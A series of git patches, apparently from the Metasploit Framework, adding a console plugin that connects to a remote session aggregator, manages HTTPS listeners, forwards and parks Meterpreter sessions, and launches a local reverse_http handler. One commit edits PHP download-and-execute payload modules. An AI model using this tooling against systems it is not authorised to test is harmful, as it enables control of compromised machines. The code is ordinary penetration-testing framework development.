Jeffrey Martin Date: Fri, 11 Nov 2016 16:24:27 -0600 Subject: [PATCH 053/426] create aggregator connection as plugin --- Gemfile | 1 + plugins/aggregator.rb | 377 ++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 378 insertions(+) create mode 100644 plugins/aggregator.rb diff --git a/Gemfile b/Gemfile index 018ef029b2..eedb13947c 100755 --- a/Gemfile +++ b/Gemfile @@ -21,6 +21,7 @@ group :development do # module documentation gem 'octokit', '~> 4.0' # rails-upgrade staging gems + gem 'metasploit-aggregator', git: 'git@github.com:rapid7/metasploit-aggregator', branch: "master" end group :development, :test do diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb new file mode 100644 index 0000000000..c96258f339 --- /dev/null +++ b/plugins/aggregator.rb @@ -0,0 +1,377 @@ +#!/usr/bin/env ruby +# +# $Id$ +# +# This plugin provides management and interaction with an external session aggregator. +# +# $Revision$ +# +require "msf/aggregator" + +module Msf + Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" #location of the aggregator.yml containing saved aggregator creds + +class Plugin::Aggregator < Msf::Plugin + class AggregatorCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + @response_queue = [] + + def name + "Aggregator" + end + + def commands + { + 'aggregator_connect' => "Connect to a running Aggregator instance ( host[:port] )", + 'aggregator_save' => "Save connection details to an Aggregator instance", + 'aggregator_disconnect' => "Disconnect from an active Aggregator instance", + 'aggregator_addresses' => "List all remote ip addresses available for ingress", + 'aggregator_cable_list' => "List all remote listeners for sessions", + 'aggregator_cable_add' => "Setup remote listener for sessions", + 'aggregator_cable_remove' => "Stop remote listener for sessions", + 'aggregator_default_forward' => "forward a unlisted/unhandled sessions to a specified listener", + 'aggregator_session_forward' => "forward a session to a specified listener", + 'aggregator_session_list' => "List all remote sessions currently available from the Aggregator instance", + 'aggregator_session_park' => "Park an existing session on the Aggregator instance", + 'aggregator_sysinfo' => "Display detailed system information about the Aggregator instance", + } + end + + def aggregator_verify_db + if ! (framework.db and framework.db.usable and framework.db.active) + print_error("No database has been configured, please use db_create/db_connect first") + return false + end + + true + end + + def aggregator_verify + # return false if not aggregator_verify_db + + if ! @aggregator + print_error("No active Aggregator instance has been configured, please use 'aggregator_connect'") + return false + end + + true + end + + def usage(*lines) + print_status("Usage: ") + lines.each do |line| + print_status(" #{line}") + end + end + + def usage_save + usage("aggregator_save") + end + + def usage_connect + usage("aggregator_connect host[:port]", + " -OR- ", + "aggregator_connect host port") + end + + def usage_cable_add + usage('aggregator_cable_add host:port [certificate]', + ' -OR- ', + 'aggregator_cable_add host port [certificate]') + end + + def usage_cable_remove + usage('aggregator_cable_remove host:port', + ' -OR- ', + 'aggregator_cable_remove host port') + end + + def usage_session_forward + usage("aggregator_session_forward uri host:port", + " -OR- ", + "aggregator_session_forward uri host port") + end + + def usage_default_forward + usage("aggregator_session_forward host:port", + " -OR- ", + "aggregator_session_forward host port") + end + + def cmd_aggregator_save(*args) + #if we are logged in, save session details to aggregator.yaml + if args[0] == "-h" + usage_save + return + end + + if args[0] + usage_save + return + end + + group = "default" + + if ((@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0)) + config = {"#{group}" => {'server' => @host, 'port' => @port}} + ::File.open("#{Aggregator_yaml}", "wb") { |f| f.puts YAML.dump(config) } + print_good("#{Aggregator_yaml} created.") + else + print_error("Missing server/port - reconnect and then try again.") + return + end + end + + def cmd_aggregator_connect(*args) + # return if not aggregator_verify_db + + if ! args[0] + if ::File.readable?("#{Aggregator_yaml}") + lconfig = YAML.load_file("#{Aggregator_yaml}") + @host = lconfig['default']['server'] + @port = lconfig['default']['port'] + aggregator_login + return + end + end + + if(args.length == 0 or args[0].empty? or args[0] == "-h") + usage_connect + return + end + + @host = @port = @sslv = nil + + case args.length + when 1 + @host,@port = args[0].split(':', 2) + @port ||= '2447' + when 2 + @host,@port = args + else + usage_connect + return + end + aggregator_login + end + + def cmd_aggregator_session_list(*args) + return if not aggregator_verify + sessions_list = @aggregator.sessions + unless sessions_list.nil? + print_status("Sessions found:") + sessions_list.each do |session| + print_status(" #{session}") + end + end + end + + def cmd_aggregator_addresses(*args) + return if not aggregator_verify + address_list = @aggregator.available_addresses + unless address_list.nil? + print_status("Remote addresses found:") + address_list.each do |addr| + print_status(" #{addr}") + end + end + end + + def cmd_aggregator_cable_add(*args) + return if not aggregator_verify + host, port, certificate = nil + case args.length + when 1 + host, port = args[0].split(':', 2) + when 2 + host, port = args[0].split(':', 2) + if host.nil? + port = args[1] + else + certificate = args[1] + end + when 3 + host, port, certificate = args + else + usage_cable_add + return + end + if host.nil? + usage_cable_add + end + if certificate && File.exists?(certificate) + certificate = File.new(certificate).read + end + @aggregator.add_cable(Msf::Aggregator::Cable::HTTPS, host, port, certificate) + end + + def cmd_aggregator_cable_list + return if not aggregator_verify + res = @aggregator.cables + print_status("Remote Cables:") + res.each do |k| + print_status(" #{k}") + end + + end + + def cmd_aggregator_cable_remove(*args) + return if not aggregator_verify + case args.length + when 1 + host, port = args[0].split(':', 2) + when 2 + host, port = args + end + if host.nil? + usage_cable_remove + return + end + @aggregator.remove_cable(host, port) + end + + def cmd_aggregator_session_park(*args) + return if not aggregator_verify + case args.length + when 1 + session_id = args[0] + s = framework.sessions.get(session_id) + unless s.nil? + if @aggregator.sessions.keys.include? s.conn_id + @aggregator.release_session(s.conn_id) + framework.sessions.deregister(s) + else + # TODO: determine if we can add a transport and route with the aggregator + # for now just report action not taken + print_status("#{session_id} does not originate from the aggregator connection.") + end + else + print_status("#{session_id} is not a valid session.") + end + else + usage('aggregator_session_park session_id') + return + end + end + + def cmd_aggregator_sysinfo(*args) + return if not aggregator_verify + + res = { "wip" => "not implemented"} + + print_status("System Information") + res.each_pair do |k,v| + print_status(" #{k}: #{v}") + end + end + + def cmd_aggregator_default_forward(*args) + return if not aggregator_verify + host, port = nil + case args.length + when 1 + host, port = args[0].split(':', 2) + when 2 + host, port = args + end + if port.nil? + usage_default_forward + return + end + @aggregator.register_default(host, port, nil) + end + + def cmd_aggregator_session_forward(*args) + return if not aggregator_verify + session_uri, host, port = nil + case args.length + when 2 + session_uri, handler = args + host, port = handler.split(':', 2) + when 3 + session_uri, host, port = args + else + usage_session_forward + return + end + # TODO: call @aggregator.session and make sure session_uri is listed + # TODO: ensure listener at host:port is open local if not start multi/handler universal + @aggregator.obtain_session(session_uri, host, port) + end + + def cmd_aggregator_disconnect(*args) + @aggregator.stop if @aggregator + @aggregator = nil + end + + def aggregator_login + + if ! ((@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0)) + usage_connect + return + end + + if(@host != "localhost" and @host != "127.0.0.1") + print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") + print_error(" with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator") + print_error(" traffic. If you are running this on an untrusted network.") + return + end + + # Wrap this so a duplicate session does not prevent access + begin + cmd_aggregator_disconnect + rescue ::Interrupt + raise $! + rescue ::Exception + end + + begin + print_status("Connecting to Aggregator instance at #{@host}:#{@port}...") + @aggregator = Msf::Aggregator::ServerProxy.new(@host, @port) + end + + aggregator_compatibility_check + @aggregator + end + + def aggregator_compatibility_check + unless @aggregator.nil? + unless @aggregator.available? + print_error("Connection to aggregator @ #{@host}:#{@port} is unavailable.") + cmd_aggregator_disconnect + end + end + end + + private :aggregator_login + private :aggregator_compatibility_check + private :aggregator_verify + private :aggregator_verify_db + end + + # + # Plugin initialization + # + + def initialize(framework, opts) + super + + add_console_dispatcher(AggregatorCommandDispatcher) + print_status("Aggregator interaction has been enabled") + end + + def cleanup + remove_console_dispatcher('Aggregator') + end + + def name + "aggregator" + end + + def desc + "Interacts with the external Session Aggregator" + end +end +end From 02966d31e175e21f76022cae660fb8a2d957501b Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 15 Dec 2016 15:14:47 -0600 Subject: [PATCH 054/426] point aggregator at paranoid branch --- Gemfile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Gemfile b/Gemfile index eedb13947c..30d8922cf0 100755 --- a/Gemfile +++ b/Gemfile @@ -21,7 +21,7 @@ group :development do # module documentation gem 'octokit', '~> 4.0' # rails-upgrade staging gems - gem 'metasploit-aggregator', git: 'git@github.com:rapid7/metasploit-aggregator', branch: "master" + gem 'metasploit-aggregator', git: 'git@github.com:rapid7/metasploit-aggregator', branch: "feature/add_paranoid" end group :development, :test do From 8d5c4a3282044b90562efadf23ca47c3bfc87b7c Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 20 Dec 2016 14:12:54 -0600 Subject: [PATCH 055/426] parse add cable better --- plugins/aggregator.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index c96258f339..fc009631f1 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -186,7 +186,7 @@ class Plugin::Aggregator < Msf::Plugin host, port = args[0].split(':', 2) when 2 host, port = args[0].split(':', 2) - if host.nil? + if port.nil? port = args[1] else certificate = args[1] @@ -197,7 +197,7 @@ class Plugin::Aggregator < Msf::Plugin usage_cable_add return end - if host.nil? + if port.nil? || port.to_i <= 0 usage_cable_add end if certificate && File.exists?(certificate) From bde4fe8b409f8cb5d970a29c80a031c23d8cfebf Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 21 Dec 2016 09:37:11 -0600 Subject: [PATCH 056/426] adjust aggregator plural methods --- plugins/aggregator.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index fc009631f1..048f908872 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -27,12 +27,12 @@ class Plugin::Aggregator < Msf::Plugin 'aggregator_save' => "Save connection details to an Aggregator instance", 'aggregator_disconnect' => "Disconnect from an active Aggregator instance", 'aggregator_addresses' => "List all remote ip addresses available for ingress", - 'aggregator_cable_list' => "List all remote listeners for sessions", - 'aggregator_cable_add' => "Setup remote listener for sessions", + 'aggregator_cables' => "List all remote listeners for sessions", + 'aggregator_cable_add' => "Setup remote https listener for sessions", 'aggregator_cable_remove' => "Stop remote listener for sessions", 'aggregator_default_forward' => "forward a unlisted/unhandled sessions to a specified listener", 'aggregator_session_forward' => "forward a session to a specified listener", - 'aggregator_session_list' => "List all remote sessions currently available from the Aggregator instance", + 'aggregator_sessions' => "List all remote sessions currently available from the Aggregator instance", 'aggregator_session_park' => "Park an existing session on the Aggregator instance", 'aggregator_sysinfo' => "Display detailed system information about the Aggregator instance", } @@ -156,7 +156,7 @@ class Plugin::Aggregator < Msf::Plugin aggregator_login end - def cmd_aggregator_session_list(*args) + def cmd_aggregator_sessions(*args) return if not aggregator_verify sessions_list = @aggregator.sessions unless sessions_list.nil? @@ -206,7 +206,7 @@ class Plugin::Aggregator < Msf::Plugin @aggregator.add_cable(Msf::Aggregator::Cable::HTTPS, host, port, certificate) end - def cmd_aggregator_cable_list + def cmd_aggregator_cables return if not aggregator_verify res = @aggregator.cables print_status("Remote Cables:") From 8bd5a0ac682afd7d369521a59fa7fc32cd92d258 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 11 Jan 2017 14:15:02 -0600 Subject: [PATCH 057/426] move all aggregator communication to single socket --- plugins/aggregator.rb | 79 ++++++++++++++++++++++++++++++++----------- 1 file changed, 59 insertions(+), 20 deletions(-) diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index 048f908872..2d2e90484a 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -10,6 +10,7 @@ require "msf/aggregator" module Msf Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" #location of the aggregator.yml containing saved aggregator creds + Aggregator_Temp = "#{Msf::Config.get_config_root}/aggregator.temp" class Plugin::Aggregator < Msf::Plugin class AggregatorCommandDispatcher @@ -268,40 +269,38 @@ class Plugin::Aggregator < Msf::Plugin def cmd_aggregator_default_forward(*args) return if not aggregator_verify - host, port = nil - case args.length - when 1 - host, port = args[0].split(':', 2) - when 2 - host, port = args - end - if port.nil? - usage_default_forward - return - end - @aggregator.register_default(host, port, nil) + # host, port = nil + # case args.length + # when 1 + # host, port = args[0].split(':', 2) + # when 2 + # host, port = args + # end + # if port.nil? + # usage_default_forward + # return + # end + @aggregator.register_default(@aggregator.uuid, nil) end def cmd_aggregator_session_forward(*args) return if not aggregator_verify - session_uri, host, port = nil + session_uri = nil case args.length - when 2 - session_uri, handler = args - host, port = handler.split(':', 2) - when 3 - session_uri, host, port = args + when 1 + session_uri = args[0] else usage_session_forward return end # TODO: call @aggregator.session and make sure session_uri is listed # TODO: ensure listener at host:port is open local if not start multi/handler universal - @aggregator.obtain_session(session_uri, host, port) + @aggregator.obtain_session(session_uri, @aggregator.uuid) end def cmd_aggregator_disconnect(*args) @aggregator.stop if @aggregator + # exit @payload_job_ids if @payload_job_ids @aggregator = nil end @@ -315,7 +314,7 @@ class Plugin::Aggregator < Msf::Plugin if(@host != "localhost" and @host != "127.0.0.1") print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") print_error(" with the ability to man-in-the-middle the Aggregator traffic to capture the Aggregator") - print_error(" traffic. If you are running this on an untrusted network.") + print_error(" traffic, if you are running this on an untrusted network.") return end @@ -333,6 +332,13 @@ class Plugin::Aggregator < Msf::Plugin end aggregator_compatibility_check + + unless @payload_job_ids + @payload_job_ids = [] + @my_io = get_local_handler + end + + @aggregator.register_response_channel(@my_io) @aggregator end @@ -345,10 +351,43 @@ class Plugin::Aggregator < Msf::Plugin end end + def get_local_handler + multi_handler = framework.exploits.create('multi/handler') + + multi_handler.datastore['LHOST'] = "127.0.0.1" + # multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_https" + multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_http" + multi_handler.datastore['LPORT'] = "5000" # make this find a random local port + + # %w(DebugOptions PrependMigrate PrependMigrateProc + # InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert + # StagerVerifySSLCert PayloadUUIDTracking PayloadUUIDName + # IgnoreUnknownPayloads SessionRetryTotal SessionRetryWait + # SessionExpirationTimeout SessionCommunicationTimeout).each do |opt| + # multi_handler.datastore[opt] = datastore[opt] if datastore[opt] + # end + + multi_handler.datastore['ExitOnSession'] = false + multi_handler.datastore['EXITFUNC'] = 'thread' + + # Now we're ready to start the handler + multi_handler.exploit_simple( + 'LocalInput' => nil, + 'LocalOutput' => nil, + 'Payload' => multi_handler.datastore['PAYLOAD'], + 'RunAsJob' => true + ) + @payload_job_ids << multi_handler.job_id + # requester = Msf::Aggregator::Http::SslRequester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + requester = Msf::Aggregator::Http::Requester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + requester + end + private :aggregator_login private :aggregator_compatibility_check private :aggregator_verify private :aggregator_verify_db + private :get_local_handler end # From 6a6283ced280f6c808ff3eba9558bbd3c9c2a9de Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 18 Jan 2017 12:45:07 -0600 Subject: [PATCH 058/426] improve disconnect logic and cleanup --- plugins/aggregator.rb | 43 ++++++++++++++++++++++++++++++------------- 1 file changed, 30 insertions(+), 13 deletions(-) diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index 2d2e90484a..29bb704da1 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -269,17 +269,6 @@ class Plugin::Aggregator < Msf::Plugin def cmd_aggregator_default_forward(*args) return if not aggregator_verify - # host, port = nil - # case args.length - # when 1 - # host, port = args[0].split(':', 2) - # when 2 - # host, port = args - # end - # if port.nil? - # usage_default_forward - # return - # end @aggregator.register_default(@aggregator.uuid, nil) end @@ -299,8 +288,37 @@ class Plugin::Aggregator < Msf::Plugin end def cmd_aggregator_disconnect(*args) + if @aggregator && @aggregator.available? + # check if this connection is the default forward + @aggregator.register_default(nil, nil) if @aggregator.default == @aggregator.uuid + + # now check for any specifically forwarded sessions + local_sessions_by_id = {} + framework.sessions.each_pair do |id, s| + local_sessions_by_id[s.conn_id] = s + end + + sessions = @aggregator.sessions + unless sessions.nil? + sessions.each_pair do |session, console| + next unless local_sessions_by_id.keys.include?(session) + if console == @aggregator.uuid + # park each session locally addressed + cmd_aggregator_session_park(framework.sessions.key(local_sessions_by_id[session])) + else + # simple disconnect session that were from the default forward + framework.sessions.deregister(local_sessions_by_id[session]) + end + end + end + end @aggregator.stop if @aggregator - # exit @payload_job_ids if @payload_job_ids + if @payload_job_ids + @payload_job_ids.each do |id| + framework.jobs.stop_job(id) + end + @payload_job_ids = nil + end @aggregator = nil end @@ -370,7 +388,6 @@ class Plugin::Aggregator < Msf::Plugin multi_handler.datastore['ExitOnSession'] = false multi_handler.datastore['EXITFUNC'] = 'thread' - # Now we're ready to start the handler multi_handler.exploit_simple( 'LocalInput' => nil, 'LocalOutput' => nil, From eff0b2808d30c4249e07ca3a048a22a8fbb93485 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Mon, 23 Jan 2017 13:55:44 -0600 Subject: [PATCH 059/426] remove unused constant --- plugins/aggregator.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index 29bb704da1..ef6be47758 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -10,7 +10,6 @@ require "msf/aggregator" module Msf Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" #location of the aggregator.yml containing saved aggregator creds - Aggregator_Temp = "#{Msf::Config.get_config_root}/aggregator.temp" class Plugin::Aggregator < Msf::Plugin class AggregatorCommandDispatcher From 1df0492827bb359fa546c4d7c5721dc0264278bd Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Tue, 24 Jan 2017 13:28:18 -0600 Subject: [PATCH 060/426] updated aggregator module namespace --- plugins/aggregator.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index ef6be47758..361ad1cd45 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -6,7 +6,7 @@ # # $Revision$ # -require "msf/aggregator" +require "metasploit/aggregator" module Msf Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" #location of the aggregator.yml containing saved aggregator creds @@ -203,7 +203,7 @@ class Plugin::Aggregator < Msf::Plugin if certificate && File.exists?(certificate) certificate = File.new(certificate).read end - @aggregator.add_cable(Msf::Aggregator::Cable::HTTPS, host, port, certificate) + @aggregator.add_cable(Metasploit::Aggregator::Cable::HTTPS, host, port, certificate) end def cmd_aggregator_cables @@ -345,7 +345,7 @@ class Plugin::Aggregator < Msf::Plugin begin print_status("Connecting to Aggregator instance at #{@host}:#{@port}...") - @aggregator = Msf::Aggregator::ServerProxy.new(@host, @port) + @aggregator = Metasploit::Aggregator::ServerProxy.new(@host, @port) end aggregator_compatibility_check @@ -394,8 +394,8 @@ class Plugin::Aggregator < Msf::Plugin 'RunAsJob' => true ) @payload_job_ids << multi_handler.job_id - # requester = Msf::Aggregator::Http::SslRequester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) - requester = Msf::Aggregator::Http::Requester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + # requester = Metasploit::Aggregator::Http::SslRequester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) + requester = Metasploit::Aggregator::Http::Requester.new(multi_handler.datastore['LHOST'], multi_handler.datastore['LPORT']) requester end From ff20cf911caa11f5623e70fe9f0b0cc1eea8929e Mon Sep 17 00:00:00 2001 From: James Lee Date: Thu, 2 Feb 2017 14:53:53 -0600 Subject: [PATCH 061/426] Move the preamble above all other code --- modules/payloads/singles/php/download_exec.rb | 2 +- modules/payloads/singles/php/exec.rb | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/payloads/singles/php/download_exec.rb b/modules/payloads/singles/php/download_exec.rb index c0f5941236..e0faa3633f 100644 --- a/modules/payloads/singles/php/download_exec.rb +++ b/modules/payloads/singles/php/download_exec.rb @@ -40,6 +40,7 @@ module MetasploitModule exename = Rex::Text.rand_text_alpha(rand(8) + 4) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE + #{php_preamble({:disabled_varname => dis})} if (!function_exists('sys_get_temp_dir')) { function sys_get_temp_dir() { if (!empty($_ENV['TMP'])) { return realpath($_ENV['TMP']); } @@ -63,7 +64,6 @@ module MetasploitModule fclose($fd_out); chmod($fname, 0777); $c = $fname; - #{php_preamble({:disabled_varname => dis})} #{php_system_block({:cmd_varname => "$c", :disabled_varname => dis})} @unlink($fname); END_OF_PHP_CODE diff --git a/modules/payloads/singles/php/exec.rb b/modules/payloads/singles/php/exec.rb index 09b07f6530..b6872d7aa1 100644 --- a/modules/payloads/singles/php/exec.rb +++ b/modules/payloads/singles/php/exec.rb @@ -37,9 +37,9 @@ module MetasploitModule cmd = Rex::Text.encode_base64(datastore['CMD']) dis = '$' + Rex::Text.rand_text_alpha(rand(4) + 4) shell = <<-END_OF_PHP_CODE + #{php_preamble(disabled_varname: dis)} $c = base64_decode("#{cmd}"); - #{php_preamble({:disabled_varname => dis})} - #{php_system_block({:cmd_varname=>"$c", :disabled_varname => dis})} + #{php_system_block(cmd_varname: "$c", disabled_varname: dis)} END_OF_PHP_CODE return Rex::Text.compress(shell) From f8c2bd4f52c24d15b4bcbd6315ab02c39edf9971 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Wed, 1 Feb 2017 16:29:54 -0600 Subject: [PATCH 062/426] expand remote sessions list detail retrieval --- Gemfile | 2 +- Gemfile.lock | 11 ++++- plugins/aggregator.rb | 108 ++++++++++++++++++++++++++---------------- 3 files changed, 78 insertions(+), 43 deletions(-) diff --git a/Gemfile b/Gemfile index 30d8922cf0..da5872b2ce 100755 --- a/Gemfile +++ b/Gemfile @@ -21,7 +21,7 @@ group :development do # module documentation gem 'octokit', '~> 4.0' # rails-upgrade staging gems - gem 'metasploit-aggregator', git: 'git@github.com:rapid7/metasploit-aggregator', branch: "feature/add_paranoid" + gem 'metasploit-aggregator' end group :development, :test do diff --git a/Gemfile.lock b/Gemfile.lock index f0f54e42b6..2b17f37e10 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -115,6 +115,7 @@ GEM ffi (~> 1.0, >= 1.0.11) coderay (1.1.1) contracts (0.14.0) + cool.io (1.4.6) cucumber (2.4.0) builder (>= 2.1.2) cucumber-core (~> 1.5.0) @@ -153,6 +154,10 @@ GEM loofah (2.0.3) nokogiri (>= 1.5.9) metasm (1.0.2) + metasploit-aggregator (0.1.2) + msgpack + msgpack-rpc + rex-arch metasploit-concern (2.0.3) activemodel (~> 4.2.6) activesupport (~> 4.2.6) @@ -187,7 +192,10 @@ GEM mime-types-data (3.2016.0521) mini_portile2 (2.1.0) minitest (5.10.1) - msgpack (1.0.3) + msgpack (0.5.12) + msgpack-rpc (0.5.4) + cool.io (~> 1.4.3) + msgpack (~> 0.5.10) multi_json (1.12.1) multi_test (0.1.2) multipart-post (2.0.0) @@ -336,6 +344,7 @@ DEPENDENCIES cucumber-rails factory_girl_rails fivemat + metasploit-aggregator metasploit-framework! octokit (~> 4.0) pry diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index 361ad1cd45..4b0348a726 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -31,25 +31,13 @@ class Plugin::Aggregator < Msf::Plugin 'aggregator_cable_add' => "Setup remote https listener for sessions", 'aggregator_cable_remove' => "Stop remote listener for sessions", 'aggregator_default_forward' => "forward a unlisted/unhandled sessions to a specified listener", - 'aggregator_session_forward' => "forward a session to a specified listener", 'aggregator_sessions' => "List all remote sessions currently available from the Aggregator instance", - 'aggregator_session_park' => "Park an existing session on the Aggregator instance", - 'aggregator_sysinfo' => "Display detailed system information about the Aggregator instance", + 'aggregator_session_forward' => "forward a session to a specified listener", + 'aggregator_session_park' => "Park an existing session on the Aggregator instance" } end - def aggregator_verify_db - if ! (framework.db and framework.db.usable and framework.db.active) - print_error("No database has been configured, please use db_create/db_connect first") - return false - end - - true - end - def aggregator_verify - # return false if not aggregator_verify_db - if ! @aggregator print_error("No active Aggregator instance has been configured, please use 'aggregator_connect'") return false @@ -88,15 +76,11 @@ class Plugin::Aggregator < Msf::Plugin end def usage_session_forward - usage("aggregator_session_forward uri host:port", - " -OR- ", - "aggregator_session_forward uri host port") + usage("aggregator_session_forward remote_id") end def usage_default_forward - usage("aggregator_session_forward host:port", - " -OR- ", - "aggregator_session_forward host port") + usage("aggregator_session_forward") end def cmd_aggregator_save(*args) @@ -124,8 +108,6 @@ class Plugin::Aggregator < Msf::Plugin end def cmd_aggregator_connect(*args) - # return if not aggregator_verify_db - if ! args[0] if ::File.readable?("#{Aggregator_yaml}") lconfig = YAML.load_file("#{Aggregator_yaml}") @@ -160,9 +142,35 @@ class Plugin::Aggregator < Msf::Plugin return if not aggregator_verify sessions_list = @aggregator.sessions unless sessions_list.nil? + # get details for each session and print in format of sessions -v print_status("Sessions found:") sessions_list.each do |session| - print_status(" #{session}") + session_id, target = session + details = @aggregator.session_details(session_id) + local_id = nil + framework.sessions.each_pair do |key, value| + next unless value.conn_id == session_id + local_id = key + end + #filter session that do not have details as forwarding options (this may change later) + if details && details['ID'] + print_status "\t Remote ID: #{details['ID']}" + print_status "\t Type: meterpreter #{guess_target_platform(details['OS'])}" + print_status "\t Info: #{details['USER']} @ #{details['HOSTNAME']}" + print_status "\t Tunnel: #{details['LOCAL_SOCKET']} -> #{details['REMOTE_SOCKET']}" + print_status "\t Via: exploit/multi/handler" + print_status "\t UUID: #{details['UUID']}" + print_status "\t MachineID: #{details['MachineID']}" + unless details['LAST_SEEN'].nil? + print_status"\t CheckIn: #{details['LAST_SEEN'].to_i}s ago" + end + print_status "\tRegistered: Not Yet Implemented" + print_status "\t Forward: #{target}" + unless local_id.nil? + print_status"\tSession ID: #{local_id}" + end + print_status "" + end end end end @@ -255,17 +263,6 @@ class Plugin::Aggregator < Msf::Plugin end end - def cmd_aggregator_sysinfo(*args) - return if not aggregator_verify - - res = { "wip" => "not implemented"} - - print_status("System Information") - res.each_pair do |k,v| - print_status(" #{k}: #{v}") - end - end - def cmd_aggregator_default_forward(*args) return if not aggregator_verify @aggregator.register_default(@aggregator.uuid, nil) @@ -273,17 +270,23 @@ class Plugin::Aggregator < Msf::Plugin def cmd_aggregator_session_forward(*args) return if not aggregator_verify - session_uri = nil + remote_id = nil case args.length when 1 - session_uri = args[0] + remote_id = args[0] else usage_session_forward return end - # TODO: call @aggregator.session and make sure session_uri is listed - # TODO: ensure listener at host:port is open local if not start multi/handler universal - @aggregator.obtain_session(session_uri, @aggregator.uuid) + # find session with ID matching request + @aggregator.sessions.each do |session| + session_uri, target = session + details = @aggregator.session_details(session_uri) + if details['ID'] == remote_id + return @aggregator.obtain_session(session_uri, @aggregator.uuid) + end + print_error("#{remote_id} was not found.") + end end def cmd_aggregator_disconnect(*args) @@ -369,12 +372,16 @@ class Plugin::Aggregator < Msf::Plugin end def get_local_handler + server = TCPServer.new('127.0.0.1', 0) + port = server.addr[1] + server.close + multi_handler = framework.exploits.create('multi/handler') multi_handler.datastore['LHOST'] = "127.0.0.1" # multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_https" multi_handler.datastore['PAYLOAD'] = "multi/meterpreter/reverse_http" - multi_handler.datastore['LPORT'] = "5000" # make this find a random local port + multi_handler.datastore['LPORT'] = "#{port}" # %w(DebugOptions PrependMigrate PrependMigrateProc # InitialAutoRunScript AutoRunScript CAMPAIGN_ID HandlerSSLCert @@ -399,10 +406,29 @@ class Plugin::Aggregator < Msf::Plugin requester end + # borrowed from Msf::Sessions::Meterpreter for now + def guess_target_platform(os) + case os + when /windows/i + Msf::Module::Platform::Windows.realname.downcase + when /darwin/i + Msf::Module::Platform::OSX.realname.downcase + when /mac os ?x/i + # this happens with java on OSX (for real!) + Msf::Module::Platform::OSX.realname.downcase + when /freebsd/i + Msf::Module::Platform::FreeBSD.realname.downcase + when /openbsd/i, /netbsd/i + Msf::Module::Platform::BSD.realname.downcase + else + Msf::Module::Platform::Linux.realname.downcase + end + end + + private :guess_target_platform private :aggregator_login private :aggregator_compatibility_check private :aggregator_verify - private :aggregator_verify_db private :get_local_handler end From bf915c552793950eb87520e9c5b3f4aebf57b727 Mon Sep 17 00:00:00 2001 From: Jeffrey Martin Date: Thu, 2 Feb 2017 16:45:59 -0600 Subject: [PATCH 063/426] cleanup code syntax and remove !# from plugins --- plugins/aggregator.rb | 734 +++++++++++++++++++++--------------------- plugins/msfd.rb | 1 - plugins/msgrpc.rb | 1 - plugins/nexpose.rb | 1 - plugins/openvas.rb | 1 - 5 files changed, 366 insertions(+), 372 deletions(-) diff --git a/plugins/aggregator.rb b/plugins/aggregator.rb index 4b0348a726..7790a0835f 100644 --- a/plugins/aggregator.rb +++ b/plugins/aggregator.rb @@ -1,4 +1,3 @@ -#!/usr/bin/env ruby # # $Id$ # @@ -9,139 +8,141 @@ require "metasploit/aggregator" module Msf - Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" #location of the aggregator.yml containing saved aggregator creds + Aggregator_yaml = "#{Msf::Config.get_config_root}/aggregator.yaml" # location of the aggregator.yml containing saved aggregator creds -class Plugin::Aggregator < Msf::Plugin - class AggregatorCommandDispatcher - include Msf::Ui::Console::CommandDispatcher + class Plugin::Aggregator < Msf::Plugin + class AggregatorCommandDispatcher + include 